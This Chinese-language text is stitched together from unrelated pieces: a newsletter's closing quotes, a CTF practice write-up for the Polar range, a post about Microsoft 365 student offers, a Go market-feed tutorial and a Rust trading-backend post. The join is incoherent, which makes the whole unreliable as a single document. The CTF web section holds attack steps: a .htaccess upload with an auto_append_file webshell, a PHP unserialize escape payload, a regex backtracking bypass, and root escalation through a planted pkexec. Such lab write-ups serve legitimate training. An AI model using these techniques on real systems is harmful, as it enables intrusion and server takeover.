平时工作中,你尽量不要为自己增加阻力。如果开会的时候,你赢得每一场辩论,很可能就是在积累无声的阻力。你之所以"赢",不是因为你说服了别人,而是因为他们不再与你争论,放弃了,将会在其他场合表达这种不满。

(3)专注于你能控制的事情,忽略你无法控制的事情。

很多事情,你改变不了,不要为这种事情烦恼。这不是被动接受,而是策略性分配精力。如果你把精力浪费在无法改变的事情上,就等于放弃改变那些原本可以改变的事情。

(4)简化工作往往可以提高绩效。

当系统运行缓慢时,人们的第一反应是增加缓存层、并行处理和更智能的算法。有时这样做没错,但我发现,删除不必要的工作几乎总是更有效果。下次进行优化之前,你要先问问自己这项工作是否应该存在。

(5)时间比金钱更有价值,你要抓紧时间。

职业生涯初期,你用时间换取金钱,各种事情都做----这无可厚非。但到了某个阶段,情况就完全不同了,你会开始意识到,时间才是不可再生资源。你要专注于那些对你最重要的事情,放弃其他事情。

言论

1、

-- 一位程序员评论 OpenAI 宣布在 AI 对话中加入广告

2、

Netflix 的电影不追求视觉效果,因为大多数观众是在手机、平板和笔记本电脑上看,内容不需要为大银幕制作、而是为小屏幕制作的。

-- 马特·达蒙,美国著名演员

3、

我从未见过哪个群体比程序员更热衷于分享知识。其他行业都是严守知识、保守秘密,程序员则是免费提供源代码、书籍、博客文章、演示文稿、视频教程等等。

编程领域没有什么神圣不可侵犯的东西。如果你想学习,你可以找到免费书籍、完整的源代码、论坛、聊天室、邮件列表、线下聚会、博客文章、视频讲座、教程以及你可能需要的一切资源。尽管举手,总会有人乐于助人,倾囊相授。

-- 《我是如何学习所有编程知识的》

4、

今年的 iOS 26 中,一些 UI 元素利用 HDR 屏幕,采用高光,比纯白色更亮。如果你曾经在 iPhone(或其他任何支持 HDR 的屏幕)上看过 HDR 照片,然后再看看以 SDR 模式显示的 UI,你就会知道它看起来有多么灰暗黯淡。

-- 《亮模式的膨胀》,作者发现 iOS 每年都变得更亮,容易产生视觉疲劳,让他不得不使用暗模式

5、

如果你想批评大型组织的运作方式,首先要了解它们为何如此运作。否则,批评会显得尖锐,但却毫无意义。

-- 《关于大型软件公司的常见误解》

往年回顾

年底的未来已来(#335)

为什么 PPT 不如备忘录(#285)

青年失业率与选择创业(#235)

美国宪法拍卖,一个区块链案例(#185)

(完)

题目来源polar靶场

简单题

RE

逆向愈发重要,我们通过题目快速建立逆向的基础

顺便熟悉一下各个方向的基础知识,因为后续要求的知识栈很宽广

第一题:shell

这个题目的话应该是base加密

额,是upx壳,呃呃呃

我们通过main进行溯源,成功找到main函数

这个题其实可以直接看出来,我们通过动调获取flag也是后知后觉

image-20251218190139015.png

第二题:PE结构

这里我们还是直接尝试脱壳,结果发现不行

⚡Lenovo ❯❯ upx -d 'PE结构.exe'
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2025
UPX 5.0.0 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 20th 2025

upx: PE结构.exe: NotPackedException: not packed by UPX

Unpacked 0 files.

我们拖入010editor

DOS头 和 NT头 就是 PE 文件中两个重要的文件头

一个 WORD 类型,值是一个常数 0x4D5A,用文本编辑器查看该值位‘MZ’,可执行文件必须都是'MZ'开头

这里是发现是DOS头被调改了

image-20251218190557580.png

我们修改成4D然后点击保存运行即可

第三题:拼接

用记事本打开看看

image-20251218191027165.png

然后我们改一下后缀打开看看

今年我们来看一下这个函数

image-20251218191408713.png

依旧是动调直接出flag

第四题:加加减减

这个好像有个反调试,我们不能直接运行过去

我们分析逻辑,就是讲输入的每一个字符减一,然后再与一开始的字符串比较

我们一开始用下面这个方式写的

然后我们用下面这个方式去写

多上一步使用Unicode去转化,就是进入到单纯的数值层级与计算

第五题:康师傅

这个是比较的加密的,我们没法直接获取flag

我们需要异或一下输入

这个比我们平时做的简单多了

第六题:另辟蹊径

这个题是提供了GUI界面的一个题目

我们拖进去ida找字符串没找到flag

这个看其他的wp说是需要用到一改值的工具,我们不去弄了

第七题:use_jadx_open_it

apk文件,用jadx打开,进入MainActivity

然后我们直接看最后的结果比较就行

第八题:re2

这个也是很简单,直接给flag

第九题:layout

这个我们直接提交flag不行,然后想到题目名字是layout,我们直接去layout那里去看看

我们全局搜索flag即可

第十题:Why32

这个有点怪

下面这个是主函数

这个也是对输入加密,进行加密之间的比较

我们让输入的数值加上2即可,减去2,这里被惯性误导了

由于数据为32位,且只有数字和字母,猜测经过了md5加密,到在线网站解密

还原出来时md5,然后还需要进行md5解密

第十一题:?64

递归加1

这个看起来很像是base加密

我们这样打印发现明显不是,然后我们推测和上一题是一个类型的题目

MD5 - CyberChef

用这个网站在线解密即可

第十二题:Sign Up

我们用的是ida9.1,这个自动把字符串打印出来

这个题目设置了分割符,特意留下了两位

然后md5解密即可

中等题

re

第一题:JunkCode

上来先来一个花指令

这个我们来去除一下花指令

花指令大概是在这个位置

但00411AC4为花指令,后面的内容无法被正常识别和解析,导致反编译失败

具体的操作方法是:选中内存地址00411AC4,

按U键进行undefine

image-20251218204328982.png

我们这样进行patch一下

按U键进行undefine

再选中00411AC5处按C键MakeCode

最后到函数头位置按P构建函数

然后我们成功还原,这里注意顺序不能错

先u,然后c,然后patch,然后再c,然后再p

这样之后花指令就还原出来了

这个我们没法动调,我们只能去还原一下这个逻辑了

第二题:RevMethod

我们通过字符串来追踪flag

全是flag我们看到

这个不是我们想要的

这个我们缺失了dll链接库,导致我们运行不了,然后我们缺失的好像也正好是那个部分

不是,我们这个题目的话提交最后flag就行了

第三题:逆一下子

这个题目一打开就是flag

然后我们跟进这个函数

这个需要Resource Hacker这个工具

这个我们没有工具,直接找答案

第四题:可以为师

这个题目直接给main函数就很舒服

这个迷宫题是我们第一次去做,想出一个迷宫pwn

如果它用的是 _getch()(常见于 Windows 控制台程序),那么 pwntools 无法交互,因为 _getch() 不走 stdin/stdout 管道。

所以我们pwntools的交互成功失败了

但在 Windows 上,完全自动化捕获 _getch() 程序的输出并响应非常困难。不过,我们可以采用一个 半自动但高效的爆破策略

_getch() 不接受管道输入 → 无法用 subprocess 控制

Windows 控制台程序的输出虽然可通过 subprocess 捕获(如果没重定向),但输入无法注入

真正的“爆破”(尝试所有路径)会因路径长度指数爆炸而不可行(你的路径已是最短)

起点 (1,1)

终点 $ 在 (14,6)

路径已通过 BFS 找到

这个交给ai给我写个就能出,原理的以后再去学习

sssssdddddwwaawwdddwddsssddwwddssdss

第六题:混淆Code?

奇偶分开处理

这个函数对于处理好的数值再次进行处理

这个函数是最后的检查,就是对后面的字节清零,然后和我们的输入比较,我们来逆推一下输入

首先我们先解决一下异或的问题,很长时间不写生疏了太多了

这里的话可以进行ida的动调,在动调中是可以看数值的,动调查看的话图片如下

image-20251227162429247.png

然后我们计算好md5提交上即可

腾讯云这个社区也是挺不错的

国内外常用的MD5在线解密网站-腾讯云开发者社区-腾讯云

第七题:Java_tools

题目给出一个jar包,对输入的数值进行了下述的加密

一个是add

一个是re1

这里的xor没有调用,我们逐步分析一下

首先对于每一位+3

然后加上了一个交换的颠倒的算法

写python逆向的时候遇到一些问题

str 类型是不可变的,也就是说你不能通过索引直接修改字符串中的某个字符,比如 str[i] = 'x' 是不允许的。

第八题:PY_RE

解密比较,这里说明不能通过动调的方式直接出flag

判断代码如下

加密代码如下,一开始看成endata了,看错了

打印出来我们的dict,其实这里的逻辑的话也不能,主要是忘了Dict这个了

字典长度26

然后丢给ai分析,牵扯字符映射之类的,今天很累,先不去纠结了。

高等题

下面一开始刷错了,刷成all了

misc

第一题:broken_hash

题目给了我们两个附件,一个是png,一个是tip

我们用010打开png发现末位存在flag

binwalk分离之后得到提示7bf21a26cd6

爆破密码即可

第二题:deep

题目给了我们提示,这里是运行之后的数据的结果存放的地方

然后题目还给了我们一个源代码

这个是用c++写的,简单的分析一下逻辑,取数组内的数值,4个4个叠加,只打印出来原先索引位置是4的数值

还有注意的是这里ide单位的转化,所以说这里不是一个个输入的,而是一组组的输入的,我们将其转化成字符的形式应该会有flag

然后我们还原的时候用上按位与,chr和ord这个底层的数值转化即可

之后将获取到的flag提交即可

第三题:爱你

打开一看,是一个png图片,然后进入misc的领域

cyndi-stego.png

我们用Stegsolve.jar这个工具,红绿蓝0位通道可看到压缩文件格式开头的十六进制文本

然后我们用010editor可以弄到一个加密的压缩包,压缩包里有部分提示

我们解密一下

然后解压压缩包即可获得flag

flag{01e979f6dd21cd325e05fc1405e76bfd}

第四题:caigou

这个是个压缩包爆破的题目,密码爆破之后如下

zaqqaz

用随波逐流梭一下就行了

flag{ae7e960d8e7ce40e2157285680e2a5e4}

第五题:东北话是最好的语言

这个是给了一个look.txt文件

这里开始是逆向的题目

我们base64解码之后可以获得一个图片

然后我们用010editor打开后看到base64:xxxx

然后我们将结果转化成纯字符,最后套上md5即可

flag{4d5193eaeb2b18aa7e4357078b7550f3}

re

第一题:test

这个题目是安卓逆向,安卓逆向和java逆向还是有很大的不同的

这里是第一个活动,是一个密码,这个其实不用管

这里是第二个活动,将图片改成压缩包了

然后我们将解压后的打开会发现有个安装包,然后改成图片打开会有一个flag

第二题:高卢战记

这个题目给了一个没见过的obj后缀,这个的话拖进ida是仍然可以分析的,我们ida识别出来汇编

根据沪这里的特殊的字符,我们推断是有凯撒加密,因为里面出现了一组非常“刻意”的字符 —— :、<、以及 d e f g,这几类刚好都可以由 十六进制字符集(0-9a-f)整体 ASCII +3 得到。

写一个ord和chr组成的脚本就行

第三题:逢七则变

这个我都打不开,解析的正确,和那个proxy的题目是一个情况,我们怀疑是有了加壳

工具对应的链接如下

XVolkolak 0.22 静态脱壳神器汉化版 - 吾爱破解 - 52pojie.cn

脱壳之后的效果如下

第四题:android

apk文件,我们用jadx打开,然后分析主函数

我们看到这里的有一部分加密是调用了so,我们需要分析so库的judge函数

这里需要注意一点,DES加密部分 "64781852" 和密钥 "123!@#zaqXSWqwer" 与实际的验证流程完全无关,只是独立的日志记录代码的加密

我们打开so文件

从下面这个图我们可以确定judge函数是sub_7D0函数

加密的算法如下,这里aes加密

这个是用AES S-Box加密的算法,解密的脚本如下

第五题:动态库

这个题目考的是反调试的相关知识

这个是给了一个dll的动态链接库,其中有个函数名是GetFlag

我们写个idapython提取一下unk_100166BC这个地址,idapython如下

提取之后的结果如下

然后我们将这个结果打印一下即可获取到最后的flag

然后我们将这里的可打印的拼组起来就是flag的形式

flag{84649ac8ca256511a52fc9359fa367a1}

第七题:最短路

这段就是个“手动走图计权重”的题:Path[u][v] 里存了边权,你每次输入一对 (a, b) 就把这条边的权重加到 sum,直到你输入的 b == 15 为止(最后那条到 15 的边在循环外再加一次)。

Judge() 里要求 sum == 26 才算对,并提示 Shortest path。

把给定的边列一下(有向边):

1→2=2,1→3=3

2→3=5,2→4=3,2→10=20

3→5=6,3→8=5

4→5=7

5→8=1,5→9=4

8→11=5,8→15=21

9→12=5

12→15=9

11→15=13

7→14=6,14→15=7(6→7=3)

这里的凑值我们直接交给ai分析

要凑到 26,最明显的一条(而且正好是最短路)是:

1 → 3 → 8 → 11 → 15
权重:3 + 5 + 5 + 13 = 26

所以你在程序里依次输入这几行就行:

1381115

第八题:Cre

这个题目对文件类型进行了魔改,导致我们的ida不能正常的的分析,我们需要给他改回去

之后就能看到主函数

我们还原出的dp如下

用 0-based 坐标 (行,列) 表示:

对应移动串(R=右,D=下):
R D R R R D D D D D R R R D

这里最大的金币是75,然后我们md5加密之后即可获得flag

web

第一题:swp

我们用我们存在g盘的扫描一下网站的目录发现了一个index.php文件

我们访问.index.php.swp之后可以看到网站源码

这里需要参数又匹配/sys.*nb/is,又要求这个参数含有sys nb,还不能是数组

这里我们传递足够长的数据失效,我们使用PCRE回溯次数限制绕过

flag{4560b3bfea9683b050c730cd72b3a099}

第二题:简单rce

打开时候看到php源码

image-20260114101945447.png

第三题:上传

image-20260114104216524.png

这里我们不能直接上传php文件,我们需要先尝试上传.htaccess

这里我们上传还是不行,我们.htaccess和base64编码的木马,之后我们可以获取flag

也可以用其他的方法,传一个
php_value auto_append_file .htaccess
#

第四题:php是世界上最好的语言

题目直接给源码

题目提示flag在$flag这个变量中

两处变量覆盖,$POST的值要在第一处就覆盖好

最后传参的时候用504[SYS.COM

image-20260114113648310.png

第五题:非常好绕的命令执行

也是直接给了php源码

if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) 这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。

image-20260114114130473.png

第六题:这又是一个上传

这个重复写了

第七题:网站被黑

image-20260114114735224.png

有个base编码,解码后/n0_0ne_f1nd_m3/

之后我们获得php源码

image-20260114115356470.png

第八题:ezjava

我们最后一个练手看看java

题目给了一个提示

我们用jadx打开一下附件分析

image-20260114153936920.png

sqel注入

最后我们需要构造payload如下

然后我们编码一下

image-20260114154651506.png

第九题:veryphp

题目直接给了我们源码

这个题目我们先获得提示看看,通过提示我们可以写个脚本

image-20260114164110683.png

爆破出来之后是21475 ,然后我们可以成功过去flag的数值,至此成功获得flag

image-20260114164841027.png

第十题:Unserialize_Escape

仍然是直接给了php代码

字符串逃逸

传上这个payload

username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

然后就有flag

image-20260114165747343.png

第十一题:这又是一个上传

我们看页面源代码,发现是把检测程序的上传的安全机制写在前端js里面了

我们找到调试程序这里关闭js调试

image-20260114170531360.png

关闭之后我们就能成功的上传了,然后我们链接上shell,发现有个这个

/opt/polkit-0.105/src/programs/.libs/pkexec这是一个允许授权用户以其他用户(通常是 root)身份执行命令的程序。系统

自带的 pkexec 通常在 /usr/bin/ 下。这里它出现在 /opt 下的源码编译目

录中,说明这是出题人特意为我们准备的利用点。

用上面这个和文件,然后编译之后运行就能完成提权。

crypto

我们还差最后30积分,我们用密码来凑

第一题:babyrsa

这个扔进去可以直接锁掉

image-20260114172338022.png

第二题:easyrsa

ai直接就能出

image-20260114171945483.png

第三题:classic

这个题目题目给的很少

只给了下面这个内容

FGAFDAXAGXDGDXAXAGDDAFDAAFFGFDAFGX

第四题:分段解密

crypto的内容如下

[[3202805436L, 509716930L], [3140667873L, 1667141091L], [3173275598L, 2248305098L], [709283154L, 3416762332L]]

加密脚本如下

然后写个解密脚本

换个位置就行了

翻转一下就能获得flag

flag{1UHSUW_IJNIL_1s_galf}

第五题:数学大师

给了一个很大的程序,点进去是不断闯关,需要过三关

丢给ai之后就能通过,最后flag如下

第六题:堂吉诃德走入猪圈

txt文件

得到答案用MD532位小写加密套上flag{}
压缩包密码为数字

7c4e8e8bb3cebddba7cb7f70cdf8d1c.jpg

堂吉诃德分别对应” 678 5 56 67 “,找笔画,找出来是5748

md加密之后提交即可

第七题:大主教的猪

给我的提示很有限

大主教开的猪圈里的所有猪都不见了,你能帮大主教找到他们在哪吗?
hint:得到的结果小写套上flag{}提交。

大主教的猪.png

变种猪圈密码

3574224-20241227131108153-24878728.png

对照得出结果即可获得flag

flag{they_are_on_the_truck}
至此,我们polar的杯子到手了

继上次微软免费的 Microsoft 365 E3 全局 https://v2ex.com/t/1172827

看到隔壁有人发,我想起了去年也验证过,方法很简单,当然前提你有 edu 邮箱,没有的话去 google 搜个社区大学注册。

去年起微软针对教育用户(学生)免费提供 2 年的 Microsoft 365 Premium 订阅。按微软价格的话,大概人民币 3000 多。

Microsoft 365 Premium 以每月 19.99 美元的价格,同时提供微软 Office 套件的使用权限与 Copilot Pro 的功能。该订阅包含更高的功能使用限额,以及 Copilot Labs 、Actions 等 Copilot Pro 专属功能的访问权限等。同时你可以通过电子邮件邀请最多 5 个人加入你的 Microsoft 365 家庭版订阅。

截图

具体方法

必备条件 edu 邮箱。
邮箱

登录你的微软个人账号,依次点击下面链接,进入验证,填写你的大学 edu 邮箱。
邮箱
个人版:
https://checkout.microsoft365.com/acquire/purchase?language=EN-US&market=HK&requestedDuration=Month&scenario=microsoft-365-student&client=poc&campaign=StudentFree12M

高级版:
https://checkout.microsoft365.com/acquire/purchase?language=EN-US&market=HK&requestedDuration=Month&scenario=microsoft-365-premium&client=poc&campaign=StudentPremiumFree12M
我的订阅

支付方式支持 paypal ,支付宝等,验证订阅后,你可以直接取消自动续费,就不会扣费风险!

💥 事故现场
LZ 所在的量化小厂,早期基础设施全是 Python (Asyncio) 一把梭。 跑美股( US )的时候相安无事,毕竟 Tick 流是均匀的。 上周策略组说要加 A 股 (CN) 和 外汇 (FX) 做宏观对冲,我就按老套路接了数据源。

结果上线第一天 9:30 就炸了。 监控报警 CPU 100%,接着就是 TCP Recv-Q 堆积,最后直接断连。 策略端收到行情的时候,黄花菜都凉了(延迟 > 500ms )。

🔍 排查过程 (Post-Mortem)
被 Leader 骂完后,挂了 py-spy 看火焰图,发现两个大坑:

Snapshot 脉冲:A 股跟美股不一样,它是 3 秒一次的全市场快照。几千只股票的数据在同一毫秒涌进来,瞬间流量是平时的几十倍。

GIL + GC 混合双打:

json.loads 是 CPU 密集型,把 GIL 锁死了,网络线程根本抢不到 CPU 读数据。

短时间生成大量 dict 对象,触发 Python 频繁 GC ,Stop-the-world 。

🛠️ 架构重构 (Python -> Go)
为了保住饭碗,连夜决定把 Feed Handler 层剥离出来用 Go 重写。 目标很明确:扛住 A 股脉冲,把数据洗干净,再喂给 Python 策略。

架构逻辑:WebSocket (Unified API) -> Go Channel (Buffer) -> Worker Pool (Sonic Decode) -> Shm/ZMQ

为什么用 Go ?

Goroutine:几 KB 开销,随开随用。

Channel:天然的队列,做 Buffer 抗脉冲神器。

Sonic:字节开源的 JSON 库,带 SIMD 加速,比标准库快 2-3 倍(这个是关键)。

💻 Show me the code
为了解决 协议异构( A 股 CTP 、美股 FIX 、外汇 MT4 ),我接了个聚合源( TickDB ),把全市场数据洗成了统一的 JSON 。这样 Go 这边只用维护一个 Struct 。

以下是脱敏后的核心代码,复制可跑(需 go get 依赖)。
package main

import (
"fmt"
"log"
"runtime"
"time"

"github.com/bytedance/sonic" // 字节的库,解析速度吊打 encoding/json
"github.com/gorilla/websocket"
)

// 防爬虫/防风控,URL 拆一下
const (
Host = "api.tickdb.ai"
Path = "/v1/realtime"
// Key 是薅的试用版,大家拿去压测没问题
Key = "?api_key=YOUR_V2EX_KEY"
)

// 内存对齐优化:把同类型字段放一起
type MarketTick struct {
Cmd string `json:"cmd"`
Data struct {
Symbol string `json:"symbol"`
LastPrice string `json:"last_price"` // 价格统一 string ,下游处理精度
Volume string `json:"volume_24h"`
Timestamp int64 `json:"timestamp"` // 8 byte
Market string `json:"market"` // CN/US/HK/FX
} `json:"data"`
}

func main() {
// 1. 跑满多核,别浪费 AWS 的 CPU
runtime.GOMAXPROCS(runtime.NumCPU())

url := "wss://" + Host + Path + Key
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
log.Fatal("Dial err:", err)
}
defer conn.Close()

// 2. 订阅指令
// 重点测试:A 股(脉冲) + 贵金属(高频) + 美股/港股
subMsg := `{
"cmd": "subscribe",
"data": {
"channel": "ticker",
"symbols": [
"600519.SH", "000001.SZ", // A 股:茅台、平安 (9:30 压力源)
"XAUUSD", "USDJPY", // 外汇:黄金、日元 (高频源)
"NVDA.US", "AAPL.US", // 美股:英伟达
"00700.HK", "09988.HK", // 港股:腾讯
"BTCUSDT" // Crypto:拿来跑 7x24h 稳定性的
]
}
}`
if err := conn.WriteMessage(websocket.TextMessage, []byte(subMsg)); err != nil {
log.Fatal("Sub err:", err)
}
fmt.Println(">>> Go Engine Started...")

// 3. Ring Buffer
// 关键点:8192 的缓冲,专门为了吃下 A 股的瞬间脉冲
dataChan := make(chan []byte, 8192)

// 4. Worker Pool
// 经验值:CPU 核数 * 2
workerNum := runtime.NumCPU() * 2
for i := 0; i < workerNum; i++ {
go worker(i, dataChan)
}

// 5. Producer Loop (IO Bound)
// 只管读,读到就扔 Channel ,绝对不阻塞
for {
_, msg, err := conn.ReadMessage()
if err != nil {
log.Println("Read err:", err)
break
}
dataChan <- msg
}
}

// Consumer (CPU Bound)
func worker(id int, ch <-chan []byte) {
var tick MarketTick
for msg := range ch {
// 用 Sonic 解析,性能起飞
if err := sonic.Unmarshal(msg, &tick); err != nil {
continue
}

if tick.Cmd == "ticker" {
// 简单的监控:全链路延迟
latency := time.Now().UnixMilli() - tick.Data.Timestamp

// 抽样打印
if id == 0 {
fmt.Printf("[%s] %-8s | Price: %s | Lat: %d ms\n",
tick.Data.Market, tick.Data.Symbol, tick.Data.LastPrice, latency)
}
}
}
}

📊 Benchmark (实测数据)
环境:AWS c5.xlarge (4C 8G),订阅 500 个活跃 Symbol 。 复现了 9:30 A 股开盘 + 非农数据公布 的混合场景。
指标,Python (Asyncio),Go (Sonic + Channel),评价
P99 Latency,480ms+,< 4ms,简直是降维打击
Max Jitter,1.2s (GC Stop),15ms,终于不丢包了
CPU Usage,98% (单核打满),18% (多核均衡),机器都不怎么转
Mem,800MB,60MB,省下来的内存可以多跑个回测

📝 几点心得
术业有专攻:Python 做策略逻辑开发是无敌的,但这种 I/O + CPU 混合密集型的接入层,还是交给 Go/Rust 吧,别头铁。

别造轮子:之前想自己写 CTP 和 FIX 的解析器,写了一周只想跑路。后来切到 TickDB 这种 Unified API ,把脏活外包出去,瞬间清爽了。

Sonic 是神器:如果你的 Go 程序瓶颈在 JSON ,无脑换 bytedance/sonic ,立竿见影。

代码大家随便拿去改,希望能帮到同样被 Python 延迟折磨的兄弟。 (Key 是试用版的,别拿去跑大资金实盘哈,被限流了别找我)

大家好,我是《交易学徒》的独立开发者。

最近在重构后端行情网关,目标是支撑 10w+ 同时在线用户。在技术选型时,很多“标准答案”是微服务、Redis 集群、Kafka 消息队列。但作为独立开发者,维护这一套重型架构的运维成本和心智负担太高了。

于是我反其道而行之,选择了一种“极致单机”的方案:没有任何外挂组件( No Redis, No Kafka ),所有状态在进程内解决,纯 Rust 函数调用。

经过实战验证,这套架构不仅部署简单(就一个 Binary ),而且足够稳定。今天分享一下我是如何用 Rust 的特性“白嫖”性能的,欢迎 V 友们拍砖。

一、 核心理念:按需订阅,算一笔带宽的账
早期的 demo 喜欢大包大揽,客户端连上来就推 Top 20 币种。这在用户量大时是灾难。我的做法是“用户看哪里,就只推哪里”

客户端停留在 BTC/USDT 的 15 分钟 K 线界面,服务端就只建立这一个订阅关系。一旦切换,立马移除旧订阅。

算一笔账( Resource Cost ): 假设一个行情包 Payload 是 200 Bytes ,推送频率 5 次/秒。

全量推送(推 Top 20 ):10 万用户 x 20 个币种 x 200B x 5 = 2 GB/s (带宽直接破产)。

按需订阅(推 1 个):10 万用户 x 1 个币种 x 200B x 5 = 100 MB/s 。

结论: 简单的逻辑改变,带宽节省 95%,单机千兆网卡轻松抗住。

二、 列表行情:Polling + 边缘计算(白嫖 CF )
对于“行情列表”这种一屏显示几十个数据的页面,建立长连接维护成本太高。 我采用了 1 秒轮询 + Cloudflare 边缘缓存 的策略。

策略: 设置 HTTP 响应头,让 CF Edge Cache TTL = 1 秒。

效果:10 万人同时刷新列表,99% 的流量被 CF 的全球节点挡住了,真正打到我源服务器 Rust 进程的 QPS 只有个位数。

收益: 既利用了 CDN 的带宽,又保护了单机后端。

三、 架构做减法:进程内通信替代中间件
这是我这次重构最大的感悟:单机并发足够高时,不需要 Redis 和 Kafka 。

替代 Redis: 使用 Rust 的 DashMap (Concurrent HashMap)。数据就在内存里,读写是纳秒级,没有网络 IO 开销,没有序列化/反序列化成本。

替代 Kafka: 使用 tokio::sync::broadcast 和 mpsc::channel 。

优势: 传统的“发布-订阅”为了解耦上了 MQ ,但在单机 Rust 里,一个 Arc<Channel> 就能解决问题。部署时不需要操心 MQ 挂没挂,只要我的进程活着,消息系统就活着。

四、 信使模式 (Messenger Pattern) 与背压
在 Tokio 异步编程中,最忌讳 await 阻塞。 如果客户端网络卡顿(比如进电梯),socket.send().await 可能会阻塞,导致同个 Loop 下的心跳包处理被卡死,造成“假死”。

我的解法:

读写分离: 为每个连接 spawn 一个独立的 send_task ,通过 mpsc::channel(128) 通信。

严格背压 (Backpressure): 使用 try_send 。如果 Channel 满了(说明客户端来不及收),直接丢弃新行情。

理由: 实时行情旧数据无价值。这行代码是系统的“保命符”,防止慢客户端拖垮服务端内存( OOM )。

五、 极致性能:Zero-Copy (零拷贝)
在广播行情时,不要为 10 万个用户 copy 10 万份数据。

Rust
// 内存中只有一份二进制 Payload
let payload = Arc::new(Bytes::from(vec![...]));

// 10 万次分发只是增加了 10 万次引用计数( Reference Counting )
// 几乎没有任何内存分配开销
for client in clients {
client.tx.try_send(payload.clone());
}
利用 Rust 的 Arc 和 Bytes ,让 CPU 缓存极其友好。
六、 扫地僧:资源清理
长运行的单机服务最怕内存泄漏。 当 socket 断开时,必须像外科手术一样精准清理:

从 DashMap 移除 Client 。

清理反向索引 subscriptions 。

如果某个 Topic 无人订阅,立即 drop 掉对应的 channel 发送端,停止上游数据生产。

总结
作为独立开发者,资源有限。这套“Rust 单机 + 无外挂组件”的架构,让我用最低的成本(一台服务器)抗住了业务压力,而且睡得很安稳。

Simplicity is the ultimate sophistication.

🎁 V 友专属福利
软件名字叫 《交易学徒》,是一个辅助交易员复盘、模拟、练盘感的工具。前端也是我用 Flutter 写的( Rust + Flutter 真是全栈开发的绝配)。

官网下载: https://www.zgjiazu.top

Google Play: https://play.google.com/store/apps/details?id=com.zengkai.jyxtclient

回帖福利: 在本帖回复并附上 App 内的 ID (在‘我的页面’可以看到),我后台人肉送一个月 VIP 会员。

同时也欢迎大家在评论区提 Bug ,或者交流关于 Rust 后端与 Flutter 前端开发的坑!